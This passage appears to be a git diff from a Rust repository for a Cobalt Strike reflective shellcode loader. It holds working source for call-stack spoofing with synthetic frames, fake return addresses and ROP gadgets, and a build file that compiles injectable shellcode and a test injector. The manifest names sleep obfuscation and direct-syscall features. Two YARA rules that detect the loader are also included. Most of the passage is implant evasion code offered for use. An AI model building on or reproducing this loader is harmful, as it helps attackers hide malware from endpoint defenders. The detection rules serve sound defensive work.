pub Anonymous: UNWIND_CODE_0,
|
||||
}
|
||||
|
||||
/// Structured fields of an UNWIND_CODE entry (2 bytes).
|
||||
///
|
||||
/// ```text
|
||||
/// Byte 0: CodeOffset - offset in prologue where this op applies
|
||||
/// Byte 1: OpAndInfo - UnwindOp (bits 0-3) | OpInfo (bits 4-7)
|
||||
/// ```
|
||||
#[repr(C)]
|
||||
#[derive(Clone, Copy)]
|
||||
pub struct UNWIND_CODE_0 {
|
||||
/// Byte offset from the start of the prologue.
|
||||
pub CodeOffset: u8,
|
||||
/// UnwindOp (bits 0-3) and OpInfo (bits 4-7) packed together.
|
||||
pub OpAndInfo: u8,
|
||||
}
|
||||
|
||||
impl UNWIND_CODE_0 {
|
||||
/// The unwind operation code (lower 4 bits of `OpAndInfo`).
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// One of the [`UNWIND_OP_CODES`] values (0-10).
|
||||
#[inline(always)]
|
||||
pub fn UnwindOp(&self) -> u8 {
|
||||
self.OpAndInfo & 0x0F
|
||||
}
|
||||
|
||||
/// Additional operation-specific information (upper 4 bits of `OpAndInfo`).
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// Meaning depends on the opcode: register index for PUSH_NONVOL,
|
||||
/// allocation size encoding for ALLOC_SMALL, etc.
|
||||
#[inline(always)]
|
||||
pub fn OpInfo(&self) -> u8 {
|
||||
(self.OpAndInfo >> 4) & 0x0F
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// UNWIND_INFO
|
||||
// ============================================================================
|
||||
|
||||
/// Unwind info header (4 bytes, followed by variable-length UNWIND_CODE array).
|
||||
///
|
||||
/// UWD defines its own UNWIND_INFO that returns the union-based UNWIND_CODE
|
||||
/// type (needed to read FrameOffset as raw u16 for multi-slot opcodes).
|
||||
#[repr(C)]
|
||||
#[derive(Clone, Copy)]
|
||||
pub struct UNWIND_INFO {
|
||||
/// Version (bits 0-2) and flags (bits 3-7).
|
||||
pub VersionAndFlags: u8,
|
||||
pub SizeOfProlog: u8,
|
||||
pub CountOfCodes: u8,
|
||||
/// Frame register (bits 0-3) and frame register offset (bits 4-7).
|
||||
pub FrameRegisterAndOffset: u8,
|
||||
}
|
||||
|
||||
impl UNWIND_INFO {
|
||||
/// Extract the flags field (bits 3-7 of `VersionAndFlags`).
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// Combination of `UNW_FLAG_EHANDLER`, `UNW_FLAG_UHANDLER`, `UNW_FLAG_CHAININFO`.
|
||||
#[inline]
|
||||
pub fn flags(&self) -> u8 {
|
||||
self.VersionAndFlags >> 3
|
||||
}
|
||||
|
||||
/// Extract the frame register index (bits 0-3 of `FrameRegisterAndOffset`).
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// Register index (0 = no frame register, 5 = RBP, etc.).
|
||||
#[inline]
|
||||
pub fn frame_register(&self) -> u8 {
|
||||
self.FrameRegisterAndOffset & 0x0F
|
||||
}
|
||||
|
||||
/// Extract the frame register offset (bits 4-7 of `FrameRegisterAndOffset`).
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// Scaled offset: actual displacement = `frame_offset() * 16`.
|
||||
#[inline]
|
||||
pub fn frame_offset(&self) -> u8 {
|
||||
self.FrameRegisterAndOffset >> 4
|
||||
}
|
||||
|
||||
/// Returns pointer to the UNWIND_CODE array (union-based).
|
||||
///
|
||||
/// The array starts immediately after the 4-byte UNWIND_INFO header.
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// `self` must point to a valid UNWIND_INFO in mapped PE memory.
|
||||
#[inline(always)]
|
||||
pub unsafe fn codes(&self) -> *const UNWIND_CODE {
|
||||
(self as *const Self).add(1) as *const UNWIND_CODE
|
||||
}
|
||||
|
||||
/// Returns the chained `RUNTIME_FUNCTION` entry after the codes array.
|
||||
///
|
||||
/// Only valid when `flags() & UNW_FLAG_CHAININFO != 0`. The chained entry
|
||||
/// sits after the UNWIND_CODE array (aligned to 4 bytes).
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// `self` must point to a valid UNWIND_INFO with `UNW_FLAG_CHAININFO` set.
|
||||
#[inline(always)]
|
||||
pub unsafe fn chained_entry(&self) -> *const ntdef::windows::IMAGE_RUNTIME_FUNCTION_ENTRY {
|
||||
let count = self.CountOfCodes as usize;
|
||||
let aligned = if count % 2 == 1 { count + 1 } else { count };
|
||||
self.codes().add(aligned) as *const ntdef::windows::IMAGE_RUNTIME_FUNCTION_ENTRY
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// UNWIND_OP_CODES
|
||||
// ============================================================================
|
||||
|
||||
/// Unwind operation codes used by the Windows x64 exception handling model.
|
||||
///
|
||||
/// Each describes one prologue instruction that modifies RSP or saves a register:
|
||||
/// - PUSH_NONVOL: push <reg> → +8 bytes
|
||||
/// - ALLOC_LARGE: sub rsp, <large> → +N bytes
|
||||
/// - ALLOC_SMALL: sub rsp, <small> → +(OpInfo+1)*8 bytes
|
||||
/// - SET_FPREG: lea rbp, [rsp+offset] → sets frame pointer
|
||||
/// - SAVE_NONVOL: mov [rsp+off], <reg> → no stack change
|
||||
/// - SAVE_XMM128: movaps [rsp+off], <xmm> → no stack change
|
||||
/// - PUSH_MACH_FRAME: machine frame (interrupt) → +0x40 or +0x48
|
||||
#[repr(u8)]
|
||||
#[allow(dead_code)]
|
||||
pub enum UNWIND_OP_CODES {
|
||||
UWOP_PUSH_NONVOL = 0,
|
||||
UWOP_ALLOC_LARGE = 1,
|
||||
UWOP_ALLOC_SMALL = 2,
|
||||
UWOP_SET_FPREG = 3,
|
||||
UWOP_SAVE_NONVOL = 4,
|
||||
UWOP_SAVE_NONVOL_BIG = 5,
|
||||
UWOP_EPILOG = 6,
|
||||
UWOP_SPARE_CODE = 7,
|
||||
UWOP_SAVE_XMM128 = 8,
|
||||
UWOP_SAVE_XMM128BIG = 9,
|
||||
UWOP_PUSH_MACH_FRAME = 10,
|
||||
}
|
||||
|
||||
impl TryFrom<u8> for UNWIND_OP_CODES {
|
||||
type Error = ();
|
||||
|
||||
#[inline(always)]
|
||||
fn try_from(value: u8) -> Result<Self, Self::Error> {
|
||||
if value <= 10 {
|
||||
Ok(unsafe { core::mem::transmute::<u8, UNWIND_OP_CODES>(value) })
|
||||
} else {
|
||||
Err(())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Registers
|
||||
// ============================================================================
|
||||
|
||||
/// Enumeration of x86_64 general-purpose registers.
|
||||
///
|
||||
/// Used to identify which register is pushed/saved in unwind codes.
|
||||
/// The index matches the OpInfo field in UWOP_PUSH_NONVOL.
|
||||
#[derive(Clone, Copy)]
|
||||
#[repr(u8)]
|
||||
#[allow(dead_code)]
|
||||
pub enum Registers {
|
||||
Rax = 0,
|
||||
Rcx,
|
||||
Rdx,
|
||||
Rbx,
|
||||
Rsp,
|
||||
Rbp,
|
||||
Rsi,
|
||||
Rdi,
|
||||
R8,
|
||||
R9,
|
||||
R10,
|
||||
R11,
|
||||
R12,
|
||||
R13,
|
||||
R14,
|
||||
R15,
|
||||
}
|
||||
|
||||
impl PartialEq<usize> for Registers {
|
||||
#[inline(always)]
|
||||
fn eq(&self, other: &usize) -> bool {
|
||||
*self as usize == *other
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Per-call frame rotation pool
|
||||
// ============================================================================
|
||||
|
||||
/// Maximum number of candidates per rotation pool slot.
|
||||
pub const POOL_SIZE: usize = 8;
|
||||
|
||||
/// A pre-computed candidate for frame rotation.
|
||||
///
|
||||
/// Stores the ready-to-use address and frame size that can be directly
|
||||
/// written into Config fields. For prologs, `addr` is the fake return
|
||||
/// address (function base + call instruction offset). For gadgets,
|
||||
/// `addr` is the gadget address itself.
|
||||
#[derive(Clone, Copy)]
|
||||
#[repr(C)]
|
||||
pub struct FrameCandidate {
|
||||
/// Pre-computed address (return address for prologs, gadget address for gadgets).
|
||||
pub addr: *const c_void,
|
||||
/// Stack frame size.
|
||||
pub size: u64,
|
||||
/// RBP stack offset (only meaningful for second/push-rbp frames, 0 otherwise).
|
||||
pub rbp_offset: u64,
|
||||
}
|
||||
|
||||
impl Default for FrameCandidate {
|
||||
#[inline(always)]
|
||||
fn default() -> Self {
|
||||
unsafe { core::mem::zeroed() }
|
||||
}
|
||||
}
|
||||
|
||||
/// Pool of pre-collected prolog/gadget candidates for per-call rotation.
|
||||
///
|
||||
/// Built once during `build_config()`. Before each spoofed call, the
|
||||
/// `spoof_uwd!` macro calls `rotate_config()` which picks different
|
||||
/// candidates from this pool using the TSC (Time Stamp Counter) as a
|
||||
/// per-call entropy source. This ensures every API call presents a
|
||||
/// different intermediate call stack to the unwinder.
|
||||
///
|
||||
/// Each pool slot contains up to `POOL_SIZE` candidates found by scanning
|
||||
/// the source module's `.pdata` section during initialization.
|
||||
#[derive(Clone, Copy)]
|
||||
#[repr(C)]
|
||||
pub struct FramePool {
|
||||
/// SET_FPREG prolog candidates (for first_frame_fp / first_frame_size).
|
||||
pub first_frames: [FrameCandidate; POOL_SIZE],
|
||||
/// Number of valid entries in first_frames.
|
||||
pub first_count: u8,
|
||||
/// Push-RBP prolog candidates (for second_frame_fp / second_frame_size / rbp_stack_offset).
|
||||
pub second_frames: [FrameCandidate; POOL_SIZE],
|
||||
/// Number of valid entries in second_frames.
|
||||
pub second_count: u8,
|
||||
/// `jmp [rbx]` gadget candidates (for jmp_rbx_gadget / jmp_rbx_frame_size).
|
||||
pub jmp_rbx: [FrameCandidate; POOL_SIZE],
|
||||
/// Number of valid entries in jmp_rbx.
|
||||
pub jmp_rbx_count: u8,
|
||||
/// `add rsp, 0x58; ret` gadget candidates (for add_rsp_gadget / add_rsp_frame_size).
|
||||
pub add_rsp: [FrameCandidate; POOL_SIZE],
|
||||
/// Number of valid entries in add_rsp.
|
||||
pub add_rsp_count: u8,
|
||||
}
|
||||
|
||||
impl Default for FramePool {
|
||||
#[inline(always)]
|
||||
fn default() -> Self {
|
||||
unsafe { core::mem::zeroed() }
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Config (spoof call parameters passed to ASM stub)
|
||||
// ============================================================================
|
||||
|
||||
/// Configuration structure passed to the spoof ASM routine (`SpoofSynthetic`).
|
||||
///
|
||||
/// Contains all the information the assembly stub needs to build
|
||||
/// synthetic stack frames and execute the spoofed call. Populated once
|
||||
/// by `build_config()`, then reused across calls - only `spoof_function`,
|
||||
/// `number_args`, and `arg01..arg11` change per call.
|
||||
///
|
||||
/// # Memory layout (must match ASM STRUC exactly)
|
||||
///
|
||||
/// ```text
|
||||
/// Offset Size Rust field ASM field Description
|
||||
/// ────── ──── ──────────────────── ────────────────────────── ────────────────────────
|
||||
/// 0x00 8 rtl_user_addr RtlUserThreadStartAddr Thread root address
|
||||
/// 0x08 8 rtl_user_thread_size RtlUserThreadStartFrameSize Frame size (from .pdata)
|
||||
/// 0x10 8 base_thread_addr BaseThreadInitThunkAddr 2nd thread frame address
|
||||
/// 0x18 8 base_thread_size BaseThreadInitThunkFrameSize Frame size (from .pdata)
|
||||
/// 0x20 8 first_frame_fp FirstFrame 1st spoofed ret addr
|
||||
/// 0x28 8 second_frame_fp SecondFrame 2nd spoofed ret addr
|
||||
/// 0x30 8 jmp_rbx_gadget JmpRbxGadget FF 23 gadget address
|
||||
/// 0x38 8 add_rsp_gadget AddRspXGadget 48 83 C4 58 C3 gadget
|
||||
/// 0x40 8 first_frame_size FirstFrameSize Stack alloc for 1st frame
|
||||
/// 0x48 8 second_frame_size SecondFrameSize Stack alloc for 2nd frame
|
||||
/// 0x50 8 jmp_rbx_frame_size JmpRbxGadgetFrameSize Frame size around gadget
|
||||
/// 0x58 8 add_rsp_frame_size AddRspXGadgetFrameSize Frame size around gadget
|
||||
/// 0x60 8 rbp_stack_offset RbpOffset Where RBP is saved
|
||||
/// 0x68 8 spoof_function SpooFunction Target function to call
|
||||
/// 0x70 8 return_address ReturnAddress (reserved)
|
||||
/// 0x78 4 is_syscall IsSyscall (RESD 1) 0=normal, 1=syscall
|
||||
/// 0x7C 4 ssn Ssn (RESD 1) Syscall number
|
||||
/// 0x80 8 number_args NArgs (RESQ 1) Argument count
|
||||
/// 0x88 8 arg01 Arg01 1st argument (rcx)
|
||||
/// 0x90 8 arg02 Arg02 2nd argument (rdx)
|
||||
/// ... ... ... ... ...
|
||||
/// 0xD8 8 arg11 Arg11 11th argument (stack)
|
||||
/// ```
|
||||
///
|
||||
/// # How the ASM stub uses this
|
||||
///
|
||||
/// ```text
|
||||
/// SpoofSynthetic(rcx = &mut Config):
|
||||
///
|
||||
/// 1. Save callee-saved registers (rbp, rbx, r15)
|
||||
/// 2. Allocate 0x210 bytes of working space
|
||||
/// 3. Build synthetic stack (bottom-up):
|
||||
/// push 0 ← null terminator (stack root)
|
||||
/// sub rsp, RtlUserThread... ← frame for RtlUserThreadStart
|
||||
/// push RtlUserThreadStart+0x21 ← fake return address
|
||||
/// sub rsp, BaseThread... ← frame for BaseThreadInitThunk
|
||||
/// push BaseThreadInitThunk+0x14 ← fake return address
|
||||
/// push FirstFrame ← 1st spoofed frame
|
||||
/// plant RBP at RbpOffset ← link 1st→2nd frame for unwinder
|
||||
/// push SecondFrame ← 2nd spoofed frame
|
||||
/// push JmpRbxGadget ← stack pivot gadget
|
||||
/// push AddRspXGadget ← cleanup gadget
|
||||
/// 4. Load function args into registers (rcx, rdx, r8, r9, stack)
|
||||
/// 5. jmp r11 ← call target (no CALL = no ret addr pushed)
|
||||
/// 6. Target returns → hits add rsp gadget → hits jmp [rbx] → RestoreSynthetic
|
||||
/// ```
|
||||
#[derive(Clone, Copy)]
|
||||
#[repr(C)]
|
||||
pub struct Config {
|
||||
/// Address of RtlUserThreadStart (top of legitimate call chain).
|
||||
pub rtl_user_addr: *const c_void,
|
||||
|
||||
/// Stack size of RtlUserThreadStart frame.
|
||||
pub rtl_user_thread_size: u64,
|
||||
|
||||
/// Address of BaseThreadInitThunk (second frame in chain).
|
||||
pub base_thread_addr: *const c_void,
|
||||
|
||||
/// Stack size of BaseThreadInitThunk frame.
|
||||
pub base_thread_size: u64,
|
||||
|
||||
/// First (fake) return address frame.
|
||||
pub first_frame_fp: *const c_void,
|
||||
|
||||
/// Second (ROP) return address frame.
|
||||
pub second_frame_fp: *const c_void,
|
||||
|
||||
/// Gadget: `jmp [rbx]`.
|
||||
pub jmp_rbx_gadget: *const c_void,
|
||||
|
||||
/// Gadget: `add rsp, X; ret`.
|
||||
pub add_rsp_gadget: *const c_void,
|
||||
|
||||
/// Stack size of first spoofed frame.
|
||||
pub first_frame_size: u64,
|
||||
|
||||
/// Stack size of second spoofed frame.
|
||||
pub second_frame_size: u64,
|
||||
|
||||
/// Stack frame size where the `jmp [rbx]` gadget resides.
|
||||
pub jmp_rbx_frame_size: u64,
|
||||
|
||||
/// Stack frame size where the `add rsp, X` gadget resides.
|
||||
pub add_rsp_frame_size: u64,
|
||||
|
||||
/// Offset on the stack where `rbp` is pushed.
|
||||
pub rbp_stack_offset: u64,
|
||||
|
||||
/// The function to be spoofed / called.
|
||||
pub spoof_function: *const c_void,
|
||||
|
||||
/// Return address (used as stack-resume point after call).
|
||||
pub return_address: *const c_void,
|
||||
|
||||
/// Whether the target is a syscall (0 = no, 1 = yes).
|
||||
/// Matches ASM STRUC: `IsSyscall RESD 1` (4 bytes at offset 0x78).
|
||||
pub is_syscall: u32,
|
||||
|
||||
/// System Service Number (SSN) for direct syscalls.
|
||||
/// Matches ASM STRUC: `Ssn RESD 1` (4 bytes at offset 0x7C).
|
||||
pub ssn: u32,
|
||||
|
||||
/// Number of arguments to pass to the spoofed function.
|
||||
/// Matches ASM STRUC: `NArgs RESQ 1` (8 bytes at offset 0x80).
|
||||
pub number_args: u64,
|
||||
pub arg01: *const c_void,
|
||||
pub arg02: *const c_void,
|
||||
pub arg03: *const c_void,
|
||||
pub arg04: *const c_void,
|
||||
pub arg05: *const c_void,
|
||||
pub arg06: *const c_void,
|
||||
pub arg07: *const c_void,
|
||||
pub arg08: *const c_void,
|
||||
pub arg09: *const c_void,
|
||||
pub arg10: *const c_void,
|
||||
pub arg11: *const c_void,
|
||||
|
||||
// --- Rust-only fields below (not accessed by ASM) ---
|
||||
/// Pool of prolog/gadget candidates for per-call rotation.
|
||||
/// Populated by build_config, used by rotate_config before each spoofed call.
|
||||
pub frame_pool: FramePool,
|
||||
}
|
||||
|
||||
impl Default for Config {
|
||||
#[inline(always)]
|
||||
fn default() -> Self {
|
||||
unsafe { core::mem::zeroed() }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,74 @@
|
||||
rule DoublePulsar_UDRL_Loader
|
||||
{
|
||||
meta:
|
||||
description = "Detects DoublePulsar Cobalt Strike UDRL (User-Defined Reflective Loader) shellcode"
|
||||
author = "memN0ps"
|
||||
date = "2026-03-15"
|
||||
reference = "https://github.com/memN0ps/doublepulsar-rs"
|
||||
license = "MIT"
|
||||
|
||||
strings:
|
||||
$entry = { 56 48 89 E6 48 83 E4 F0 48 83 EC 20 E8 05 00 00 00 48 89 F4 5E C3 }
|
||||
$udrl_dll = "udrl.dll"
|
||||
$entry_export = "Entry"
|
||||
$tp_alloc_timer = "TpAllocTimer"
|
||||
$tp_set_timer = "TpSetTimer"
|
||||
$tp_alloc_wait = "TpAllocWait"
|
||||
$tp_set_wait = "TpSetWait"
|
||||
$convert_fiber = "ConvertThreadToFiber"
|
||||
$switch_fiber = "SwitchToFiber"
|
||||
$sysf032 = "SystemFunction032"
|
||||
$rtl_create_heap = "RtlCreateHeap"
|
||||
$rtl_walk_heap = "RtlWalkHeap"
|
||||
$internet_connect = "InternetConnectA"
|
||||
$set_valid_call = "SetProcessValidCallTargets"
|
||||
$nt_queue_apc = "NtQueueApcThread"
|
||||
$nt_test_alert = "NtTestAlert"
|
||||
|
||||
condition:
|
||||
$entry at 0
|
||||
and $udrl_dll and $entry_export
|
||||
and $sysf032
|
||||
and $rtl_create_heap and $rtl_walk_heap
|
||||
and (
|
||||
($tp_alloc_timer and $tp_set_timer) or
|
||||
($tp_alloc_wait and $tp_set_wait) or
|
||||
($nt_queue_apc and $nt_test_alert) or
|
||||
($convert_fiber and $switch_fiber)
|
||||
)
|
||||
and ($internet_connect or $set_valid_call)
|
||||
and filesize > 50KB and filesize < 200KB
|
||||
}
|
||||
|
||||
rule DoublePulsar_UDRL_Strings
|
||||
{
|
||||
meta:
|
||||
description = "Detects DoublePulsar UDRL via unique string combinations"
|
||||
author = "memN0ps"
|
||||
date = "2026-03-15"
|
||||
reference = "https://github.com/memN0ps/doublepulsar-rs"
|
||||
license = "MIT"
|
||||
|
||||
strings:
|
||||
$udrl = "udrl.dll"
|
||||
$sf032 = "SystemFunction032"
|
||||
$sf040 = "SystemFunction040"
|
||||
$sf041 = "SystemFunction041"
|
||||
$tp_timer = "TpAllocTimer"
|
||||
$tp_wait = "TpAllocWait"
|
||||
$tp_pool = "TpAllocPool"
|
||||
$heap_walk = "RtlWalkHeap"
|
||||
$heap_create = "RtlCreateHeap"
|
||||
$spoof = "EnumDateFormatsExA"
|
||||
$valid_targets = "SetProcessValidCallTargets"
|
||||
|
||||
condition:
|
||||
$udrl
|
||||
and ($sf032 and $sf040 and $sf041)
|
||||
and ($tp_timer or $tp_wait)
|
||||
and $tp_pool
|
||||
and $heap_walk and $heap_create
|
||||
and $spoof
|
||||
and $valid_targets
|
||||
and filesize > 50KB and filesize < 200KB
|
||||
}
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 29 KiB |
@@ -0,0 +1,5 @@
|
||||
[target.x86_64-pc-windows-gnu]
|
||||
# Use system mingw from apt
|
||||
|
||||
[target.i686-pc-windows-gnu]
|
||||
# Use system mingw from apt
|
||||
@@ -0,0 +1,7 @@
|
||||
[target.x86_64-pc-windows-gnu]
|
||||
linker = "C:/mingw64/bin/gcc.exe"
|
||||
ar = "C:/mingw64/bin/ar.exe"
|
||||
|
||||
[target.i686-pc-windows-gnu]
|
||||
# No custom linker - Rust will look for i686-w64-mingw32-gcc in PATH
|
||||
ar = "C:/mingw32/bin/ar.exe"
|
||||
Generated
+64
@@ -0,0 +1,64 @@
|
||||
# This file is automatically @generated by Cargo.
|
||||
# It is not intended for manual editing.
|
||||
version = 4
|
||||
|
||||
[[package]]
|
||||
name = "api"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"ntdef",
|
||||
"uwd",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "cc"
|
||||
version = "1.2.57"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "7a0dd1ca384932ff3641c8718a02769f1698e7563dc6974ffd03346116310423"
|
||||
dependencies = [
|
||||
"find-msvc-tools",
|
||||
"shlex",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "find-msvc-tools"
|
||||
version = "0.1.9"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "5baebc0774151f905a1a2cc41989300b1e6fbb29aff0ceffa1064fdd3088d582"
|
||||
|
||||
[[package]]
|
||||
name = "hypnus"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"api",
|
||||
"ntdef",
|
||||
"uwd",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "ntdef"
|
||||
version = "0.1.0"
|
||||
|
||||
[[package]]
|
||||
name = "shlex"
|
||||
version = "1.3.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64"
|
||||
|
||||
[[package]]
|
||||
name = "udrl"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"api",
|
||||
"cc",
|
||||
"hypnus",
|
||||
"uwd",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "uwd"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"cc",
|
||||
"ntdef",
|
||||
]
|
||||
@@ -0,0 +1,57 @@
|
||||
[package]
|
||||
name = "udrl"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[lib]
|
||||
name = "udrl"
|
||||
crate-type = ["staticlib", "cdylib"]
|
||||
|
||||
|
||||
[build-dependencies]
|
||||
cc = "1.0"
|
||||
|
||||
[dependencies]
|
||||
# Low-level Windows API abstraction (DJB2 hash resolution, no_std wrappers)
|
||||
api = { path = "../crates/api", default-features = false }
|
||||
|
||||
# UWD call stack spoofing (synthetic frames, .pdata parsing, ASM stub)
|
||||
uwd = { path = "../crates/uwd", default-features = false }
|
||||
|
||||
# Sleep obfuscation (Ekko/Foliage/Zilean/XOR encrypt-sleep-decrypt)
|
||||
hypnus = { path = "../crates/hypnus", default-features = false }
|
||||
|
||||
[features]
|
||||
default = ["sleep-ekko", "spoof-uwd"]
|
||||
|
||||
# Sleep techniques — choose one (or more)
|
||||
# Each supports both thread mode and fiber mode (ConvertThreadToFiber/SwitchToFiber)
|
||||
# Fiber mode isolates the sleep context from the main thread's stack
|
||||
sleep-ekko = ["hypnus/sleep-ekko"] # Timer-based (TpAllocTimer/TpSetTimer) + RC4 + NtContinue chain + fiber support
|
||||
sleep-foliage = ["hypnus/sleep-foliage"] # APC-based (NtQueueApcThread) + RC4 + NtContinue chain + fiber support
|
||||
sleep-zilean = ["hypnus/sleep-zilean"] # Wait-based (TpAllocWait/TpSetWait) + RC4 + NtContinue chain + fiber support
|
||||
sleep-xor = ["hypnus/sleep-xor"] # XOR section masking + plain Sleep (no CONTEXT chain, no fiber mode)
|
||||
|
||||
# Call stack spoofing — enables UWD synthetic frame construction
|
||||
# Both api AND uwd need the flag: api uses it for #[cfg] on spoof macro dispatch,
|
||||
# uwd uses it to compile the ASM stub and frame-building code
|
||||
spoof-uwd = ["uwd/spoof-uwd", "api/spoof-uwd"]
|
||||
|
||||
# Direct syscall dispatch — requires spoof-uwd
|
||||
# Both api AND uwd need the flag: api uses it for #[cfg] on spoof_syscall! paths,
|
||||
# uwd uses it to compile the SSN resolution module (Hell's/Halo's/Tartarus Gate)
|
||||
spoof-syscall = ["uwd/spoof-syscall", "api/spoof-syscall"]
|
||||
|
||||
# Debug output
|
||||
debug-console = ["api/debug-console", "hypnus/debug-console"] # AllocConsole + WriteConsoleA logging
|
||||
debug-dbgprint = ["api/debug-dbgprint", "hypnus/debug-dbgprint"] # DbgPrint output (visible in WinDbg)
|
||||
|
||||
[profile.release]
|
||||
opt-level = "z"
|
||||
lto = true
|
||||
codegen-units = 1
|
||||
panic = "abort"
|
||||
strip = true
|
||||
|
||||
[profile.dev]
|
||||
panic = "abort"
|
||||
@@ -0,0 +1,273 @@
|
||||
# ============================================================================
|
||||
# UDRL (User-Defined Reflective Loader) Build Configuration
|
||||
# ============================================================================
|
||||
#
|
||||
# This Makefile.toml defines build tasks for cargo-make to compile the
|
||||
# reflective loader for both x64 and x86 architectures.
|
||||
#
|
||||
# USAGE:
|
||||
# cargo make - Build x64 + x86 release + injector
|
||||
# cargo make x64 - Build x64 release only
|
||||
# cargo make x86 - Build x86 release only
|
||||
# cargo make debug - Build x64 + x86 debug (with logging)
|
||||
# cargo make x64-debug - Build x64 debug only
|
||||
# cargo make x86-debug - Build x86 debug only
|
||||
# cargo make injector - Build injector test binary only
|
||||
# cargo make test - Build everything (release + injector)
|
||||
# cargo make clean - Clean all build artifacts
|
||||
#
|
||||
# OUTPUT:
|
||||
# bin/AceLdr.x64.bin - x64 reflective loader shellcode (.text section)
|
||||
# bin/AceLdr.x86.bin - x86 reflective loader shellcode (.text section)
|
||||
# bin/injector.exe - Test injector for shellcode
|
||||
#
|
||||
# CUSTOMIZATION:
|
||||
# - Change OUTPUT_NAME to customize output filename
|
||||
# - Modify OBJCOPY_X64/X86 paths if using different MinGW installations
|
||||
# - Use debug-dbgprint,debug-console features for full debug output during development
|
||||
#
|
||||
# BUILD PROCESS:
|
||||
# 1. Compile Rust+assembly → DLL (linker script enforces memory layout)
|
||||
# 2. Extract .text section → raw shellcode binary (position-independent)
|
||||
# 3. Shellcode is ready to be embedded or injected
|
||||
#
|
||||
# ============================================================================
|
||||
|
||||
# Disable cargo-make's built-in tasks (we define everything explicitly)
|
||||
[config]
|
||||
skip_core_tasks = true
|
||||
|
||||
# ============================================================================
|
||||
# ENVIRONMENT VARIABLES
|
||||
# ============================================================================
|
||||
[env]
|
||||
NAME = "udrl"
|
||||
BIN_DIR = "bin"
|
||||
|
||||
# OUTPUT_NAME: Customize the output filename for the shellcode binaries
|
||||
# Default: "Titan" → produces Titan.x64.bin and Titan.x86.bin
|
||||
OUTPUT_NAME = "Titan"
|
||||
|
||||
# OBJCOPY TOOL PATHS
|
||||
# objcopy is used to extract the .text section from the compiled DLL.
|
||||
# Choose the appropriate paths for your platform:
|
||||
|
||||
# --- Windows (Native MinGW) ---
|
||||
# Uncomment these if you have MinGW installed directly on Windows
|
||||
# OBJCOPY_X64 = "C:/mingw64/bin/objcopy.exe"
|
||||
# OBJCOPY_X86 = "C:/mingw32/bin/objcopy.exe"
|
||||
|
||||
# --- Linux / WSL (MinGW Cross-Compiler) ---
|
||||
# Use these on Ubuntu/WSL with mingw-w64 cross-compiler packages
|
||||
OBJCOPY_X64 = "x86_64-w64-mingw32-objcopy"
|
||||
OBJCOPY_X86 = "i686-w64-mingw32-objcopy"
|
||||
|
||||
# ============================================================================
|
||||
# CREATE DIRECTORIES
|
||||
# ============================================================================
|
||||
# Creates the bin/ directory if it doesn't exist.
|
||||
# This task runs as a dependency before any build tasks.
|
||||
[tasks.dirs]
|
||||
script_runner = "@duckscript"
|
||||
script = '''
|
||||
if not is_path_exists ${BIN_DIR}
|
||||
mkdir ${BIN_DIR}
|
||||
end
|
||||
'''
|
||||
|
||||
# ============================================================================
|
||||
# x64 RELEASE BUILD
|
||||
# ============================================================================
|
||||
# Builds the x64 reflective loader in release mode (no debug logging).
|
||||
# The output is a position-independent shellcode binary.
|
||||
|
||||
# Step 1: Compile Rust + assembly → DLL with custom linker script
|
||||
# RUSTFLAGS:
|
||||
# --image-base=0x0 - No preferred base address (position-independent)
|
||||
# -Tscripts/linker.ld - Custom linker script for section ordering
|
||||
[tasks.x64-build]
|
||||
dependencies = ["dirs"]
|
||||
command = "cargo"
|
||||
args = ["build", "--release", "--target", "x86_64-pc-windows-gnu"]
|
||||
env = { "RUSTFLAGS" = "-C link-arg=-Wl,--image-base=0x0,-Tscripts/linker.ld" }
|
||||
|
||||
# Step 2: Extract .text section from DLL → raw shellcode binary
|
||||
# objcopy --dump-section extracts only the .text section (code + data)
|
||||
# This produces a position-independent shellcode file ready for injection
|
||||
[tasks.x64-extract]
|
||||
dependencies = ["x64-build"]
|
||||
command = "${OBJCOPY_X64}"
|
||||
args = ["--dump-section", ".text=${BIN_DIR}/${OUTPUT_NAME}.x64.bin", "target/x86_64-pc-windows-gnu/release/udrl.dll"]
|
||||
|
||||
# Final task: Print completion message
|
||||
[tasks.x64]
|
||||
dependencies = ["x64-extract"]
|
||||
script_runner = "@duckscript"
|
||||
script = "echo x64 release build complete"
|
||||
|
||||
# ============================================================================
|
||||
# x64 DEBUG BUILD
|
||||
# ============================================================================
|
||||
# Builds the x64 reflective loader with debug logging enabled.
|
||||
# Enables both debug-dbgprint (WinDbg) and debug-console (AllocConsole) output.
|
||||
|
||||
# Step 1: Compile with debug-logging feature
|
||||
# --features debug-dbgprint,debug-console enables both DbgPrint (WinDbg/kd) and AllocConsole output
|
||||
[tasks.x64-debug-build]
|
||||
dependencies = ["dirs"]
|
||||
command = "cargo"
|
||||
args = ["build", "--release", "--features", "debug-dbgprint,debug-console", "--target", "x86_64-pc-windows-gnu"]
